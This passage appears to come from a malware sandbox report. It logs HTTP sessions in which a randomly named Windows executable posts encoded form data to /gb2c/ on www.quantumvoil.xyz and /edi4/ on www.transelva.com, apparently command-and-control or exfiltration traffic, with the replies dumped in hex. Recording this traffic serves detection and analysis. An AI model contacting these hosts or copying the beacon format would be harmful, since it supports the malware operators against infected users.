Jul 1, 2024 16:17:08.265718937 CEST	367	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 14:17:08 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 76 6a 78 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /vjxp/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49743	203.161.62.199	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:13.324881077 CEST	788	OUT	POST /gb2c/ HTTP/1.1 Host: www.quantumvoil.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.quantumvoil.xyz Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.quantumvoil.xyz/gb2c/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 78 2f 32 6b 4a 35 42 53 51 38 56 72 47 2f 4e 4c 43 6f 31 78 54 58 39 35 51 42 6f 5a 6f 6a 6c 39 31 33 33 56 51 4e 6b 35 54 44 35 58 38 48 71 42 4d 44 66 4d 49 58 61 4b 71 73 4a 67 44 54 45 48 76 47 78 30 66 59 52 30 47 75 31 7a 34 77 4b 37 4c 79 48 70 71 49 74 46 52 62 71 6c 65 65 57 71 65 58 51 7a 63 61 35 36 73 63 56 56 2b 50 4b 76 72 37 61 2f 6c 4e 58 7a 46 71 57 41 2f 65 55 70 4e 72 64 5a 4c 4b 4d 35 66 46 67 51 42 72 4c 2f 4e 43 4a 78 61 65 31 6a 6b 43 64 45 49 52 59 35 71 6f 72 49 4a 72 75 63 41 77 79 6f 66 78 70 35 48 69 56 7a 51 4f 44 36 54 71 31 35 65 51 70 51 6a 4f 6b 7a 5a 77 38 3d Data Ascii: 4dV43tA=x/2kJ5BSQ8VrG/NLCo1xTX95QBoZojl9133VQNk5TD5X8HqBMDfMIXaKqsJgDTEHvGx0fYR0Gu1z4wK7LyHpqItFRbqleeWqeXQzca56scVV+PKvr7a/lNXzFqWA/eUpNrdZLKM5fFgQBrL/NCJxae1jkCdEIRY5qorIJrucAwyofxp5HiVzQOD6Tq15eQpQjOkzZw8=
Jul 1, 2024 16:17:13.934170961 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 14:17:13 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49744	203.161.62.199	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:15.863521099 CEST	808	OUT	POST /gb2c/ HTTP/1.1 Host: www.quantumvoil.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.quantumvoil.xyz Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.quantumvoil.xyz/gb2c/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 78 2f 32 6b 4a 35 42 53 51 38 56 72 47 66 39 4c 4f 70 31 78 62 58 39 2b 65 68 6f 5a 6d 44 6c 35 31 33 4c 56 51 4d 68 6b 54 31 68 58 38 6d 61 42 65 43 66 4d 4c 58 61 4b 79 63 4a 6c 4f 7a 45 49 76 47 39 57 66 5a 74 30 47 71 64 7a 34 30 43 37 4c 67 76 32 72 59 74 48 5a 37 71 6e 51 2b 57 71 65 58 51 7a 63 61 74 41 73 63 4e 56 2b 2f 61 76 6b 2b 75 38 6d 4e 58 79 53 61 57 41 31 4f 56 75 4e 72 64 42 4c 4c 42 63 66 48 49 51 42 71 37 2f 4b 54 4a 79 41 4f 31 68 67 43 63 4e 59 43 39 70 68 59 62 4b 4b 61 53 42 59 69 36 4e 58 6e 45 54 64 41 64 62 44 75 76 43 44 35 39 4f 50 67 49 35 35 74 30 44 48 6e 70 49 78 64 61 57 66 59 43 58 6d 6f 44 38 6f 52 4d 65 6f 39 56 63 Data Ascii: 4dV43tA=x/2kJ5BSQ8VrGf9LOp1xbX9+ehoZmDl513LVQMhkT1hX8maBeCfMLXaKycJlOzEIvG9WfZt0Gqdz40C7Lgv2rYtHZ7qnQ+WqeXQzcatAscNV+/avk+u8mNXySaWA1OVuNrdBLLBcfHIQBq7/KTJyAO1hgCcNYC9phYbKKaSBYi6NXnETdAdbDuvCD59OPgI55t0DHnpIxdaWfYCXmoD8oRMeo9Vc
Jul 1, 2024 16:17:16.489027023 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 14:17:16 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49745	203.161.62.199	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:18.403979063 CEST	1825	OUT	POST /gb2c/ HTTP/1.1 Host: www.quantumvoil.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.quantumvoil.xyz Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.quantumvoil.xyz/gb2c/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 78 2f 32 6b 4a 35 42 53 51 38 56 72 47 66 39 4c 4f 70 31 78 62 58 39 2b 65 68 6f 5a 6d 44 6c 35 31 33 4c 56 51 4d 68 6b 54 31 5a 58 38 51 4f 42 64 68 6e 4d 4b 58 61 4b 73 73 4a 65 4f 7a 45 56 76 47 31 53 66 5a 67 42 47 73 5a 7a 71 44 43 37 65 6b 37 32 6c 59 74 48 56 62 71 6d 65 65 57 2f 65 57 38 33 63 61 39 41 73 63 4e 56 2b 35 6d 76 67 72 61 38 71 74 58 7a 46 71 57 32 2f 65 55 4a 4e 71 31 2f 4c 4c 45 70 66 32 6f 51 42 4b 72 2f 4c 6c 39 79 4c 4f 31 2f 73 69 63 56 59 43 41 7a 68 62 76 67 4b 61 6e 4a 59 67 71 4e 42 42 70 59 41 52 46 38 63 50 33 61 49 61 74 62 58 46 73 62 7a 76 67 77 45 31 56 49 38 50 4b 62 57 38 36 7a 79 62 43 4c 79 57 4d 35 6f 71 31 64 62 59 38 37 34 52 6e 33 74 54 34 4e 63 49 39 43 58 31 52 6a 75 6f 63 67 75 38 4d 6c 72 61 4c 67 77 4f 38 4b 78 48 6a 72 57 6b 52 70 30 5a 34 31 70 53 4c 4f 39 49 39 74 36 65 70 6f 6e 43 58 67 6e 4c 75 62 30 71 50 6b 4b 4f 49 78 78 49 7a 4e 44 56 65 38 65 67 31 64 39 65 2f 7a 6f 44 32 5a 34 38 5a 63 2f 4b 2f 78 79 31 6b 57 48 55 [TRUNCATED] Data Ascii: 4dV43tA=x/2kJ5BSQ8VrGf9LOp1xbX9+ehoZmDl513LVQMhkT1ZX8QOBdhnMKXaKssJeOzEVvG1SfZgBGsZzqDC7ek72lYtHVbqmeeW/eW83ca9AscNV+5mvgra8qtXzFqW2/eUJNq1/LLEpf2oQBKr/Ll9yLO1/sicVYCAzhbvgKanJYgqNBBpYARF8cP3aIatbXFsbzvgwE1VI8PKbW86zybCLyWM5oq1dbY874Rn3tT4NcI9CX1Rjuocgu8MlraLgwO8KxHjrWkRp0Z41pSLO9I9t6eponCXgnLub0qPkKOIxxIzNDVe8eg1d9e/zoD2Z48Zc/K/xy1kWHUhF4K4eTdd9U0SC+Wk+DygyIUuLbQ1vFPJ8KtOKuFEMNkOOBSBip26+2qKKJk0NzUjWkm2dcXYUQf6xfnYZcnvv0sotd+P2T8wHUo/IQ1IYYfqa+jqsqUJ7no+URi/1LCq2iBe/CsSs60wFWgxZmi3T3qk1hyiuyrMdGxqETC+WHM+unK4KBxes0tpRQTZFxtJtBttu0ZAQh040ELMoUL17n8QG5KHMeH+Ylr9nVZ++ygbR7dBOPdaunW9m4+ESEfjZIq0TfdU+sjbvq4o8QVUPqab2S+62kMrJ82BvP6zt0su5R+21tmM/YhaQz0MeFZ8pvYzD1rQ4jM9cb3ybMOOdjdsIxdEtbv5MSGMCh4GDgR8U5gU4+5ZFIfuGi6fhmQw1RFUMXd8lhAmlYCSgRjcYTsc3ipa4UcZliZYglGmnn7mumeU9BDiQ9N05ya10JxdP4JjsHLXLX4wjxpvuYqbS8qZARquzerzA2BdZy6GrzIJk0IaO3z8O2qqrGervuC+Tgaukgp3rMsGy7fuLEMBc0G+OE4bB2CMq29bFl5pFmFn+R1uJvRAK6OTz8jFZc0GhlIfCCfvTtkNpPj/KT56LNopBYjMMN21OH6sZIVgAE6XCWaO2MopJucFO7MOYbsMQcEp9wIZLL9okBi1pZp5pJXgWgmiFfKRp [TRUNCATED]
Jul 1, 2024 16:17:18.997564077 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 14:17:18 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49746	203.161.62.199	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:20.934300900 CEST	530	OUT	GET /gb2c/?3hkl=slNhbLXpBjO8vl&4dV43tA=89eEKNhTAfJ0K+ZNbo8QYk1fUSoEpApn1wnFOcVuW0oI5H3wAhPaJlWMgeBIfmA5pU1pUK0VAPZu7D3VTgjehpZPLbfme/O2eAoCBbtXgeZInoaphOuGkqvoaLKQybRjQA== HTTP/1.1 Host: www.quantumvoil.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Jul 1, 2024 16:17:21.528525114 CEST	548	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 14:17:21 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49747	74.208.236.72	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:26.707967043 CEST	782	OUT	POST /edi4/ HTTP/1.1 Host: www.transelva.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.transelva.com Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.transelva.com/edi4/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 41 57 2b 74 33 55 62 48 42 46 52 65 70 49 76 58 55 4c 33 4c 58 38 36 6d 6f 31 67 75 50 76 33 65 73 71 42 4b 78 37 48 49 65 4a 4b 46 2f 2b 64 4d 6a 6e 41 72 7a 31 6c 41 61 62 6a 69 68 71 74 65 71 6b 6b 41 4b 49 65 75 4c 6a 43 45 42 33 73 56 4c 63 56 30 43 65 57 45 41 4c 63 45 79 37 64 75 63 6d 2b 43 34 37 72 42 45 32 34 39 69 45 73 4c 30 4d 33 46 73 66 67 4b 68 32 45 74 4b 73 7a 6a 77 30 6c 42 74 63 43 34 56 43 59 54 51 2f 43 6e 34 6a 49 49 6a 42 71 71 71 70 75 2f 36 54 4b 75 37 71 62 42 61 32 58 4c 4c 62 38 31 52 31 7a 78 4d 4e 41 51 39 42 5a 45 34 69 71 31 72 7a 47 71 4d 6b 67 50 30 37 30 3d Data Ascii: 4dV43tA=AW+t3UbHBFRepIvXUL3LX86mo1guPv3esqBKx7HIeJKF/+dMjnArz1lAabjihqteqkkAKIeuLjCEB3sVLcV0CeWEALcEy7ducm+C47rBE249iEsL0M3FsfgKh2EtKszjw0lBtcC4VCYTQ/Cn4jIIjBqqqpu/6TKu7qbBa2XLLb81R1zxMNAQ9BZE4iq1rzGqMkgP070=
Jul 1, 2024 16:17:27.231482983 CEST	523	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=iso-8859-1 Content-Length: 239 Connection: close Date: Mon, 01 Jul 2024 14:17:27 GMT Server: Apache Location: https://www.transelva.com/edi4/ Cache-Control: max-age=3600 Expires: Mon, 01 Jul 2024 15:17:27 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 72 61 6e 73 65 6c 76 61 2e 63 6f 6d 2f 65 64 69 34 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.transelva.com/edi4/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49748	74.208.236.72	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:29.248939991 CEST	802	OUT	POST /edi4/ HTTP/1.1 Host: www.transelva.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.transelva.com Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.transelva.com/edi4/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 41 57 2b 74 33 55 62 48 42 46 52 65 6f 72 33 58 5a 49 76 4c 52 63 36 6e 74 31 67 75 41 50 33 61 73 72 39 4b 78 2f 58 59 66 36 75 46 2f 61 52 4d 69 6c 34 72 39 56 6c 41 64 72 6a 64 6c 71 74 58 71 6b 67 49 4b 4e 32 75 4c 67 2b 45 42 79 51 56 49 74 56 33 51 2b 57 47 4d 72 63 47 73 4c 64 75 63 6d 2b 43 34 37 76 72 45 32 51 39 6a 30 63 4c 32 6f 6a 47 68 2f 67 4a 6b 47 45 74 42 4d 7a 6e 77 30 6c 76 74 64 65 53 56 42 73 54 51 2f 79 6e 34 79 49 48 36 78 71 67 75 70 76 6e 77 79 37 38 78 70 58 64 65 41 69 35 62 49 49 71 51 44 65 62 57 76 49 34 75 68 31 38 6f 78 69 43 36 44 6e 44 57 48 77 2f 71 73 69 78 33 55 77 73 43 48 68 30 34 65 51 68 64 6a 6f 65 57 79 64 37 Data Ascii: 4dV43tA=AW+t3UbHBFReor3XZIvLRc6nt1guAP3asr9Kx/XYf6uF/aRMil4r9VlAdrjdlqtXqkgIKN2uLg+EByQVItV3Q+WGMrcGsLducm+C47vrE2Q9j0cL2ojGh/gJkGEtBMznw0lvtdeSVBsTQ/yn4yIH6xqgupvnwy78xpXdeAi5bIIqQDebWvI4uh18oxiC6DnDWHw/qsix3UwsCHh04eQhdjoeWyd7
Jul 1, 2024 16:17:29.779887915 CEST	523	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=iso-8859-1 Content-Length: 239 Connection: close Date: Mon, 01 Jul 2024 14:17:29 GMT Server: Apache Location: https://www.transelva.com/edi4/ Cache-Control: max-age=3600 Expires: Mon, 01 Jul 2024 15:17:29 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 72 61 6e 73 65 6c 76 61 2e 63 6f 6d 2f 65 64 69 34 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.transelva.com/edi4/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49749	74.208.236.72	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:31.777240038 CEST	1819	OUT	POST /edi4/ HTTP/1.1 Host: www.transelva.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.transelva.com Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.transelva.com/edi4/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 41 57 2b 74 33 55 62 48 42 46 52 65 6f 72 33 58 5a 49 76 4c 52 63 36 6e 74 31 67 75 41 50 33 61 73 72 39 4b 78 2f 58 59 66 36 6d 46 2f 70 5a 4d 6a 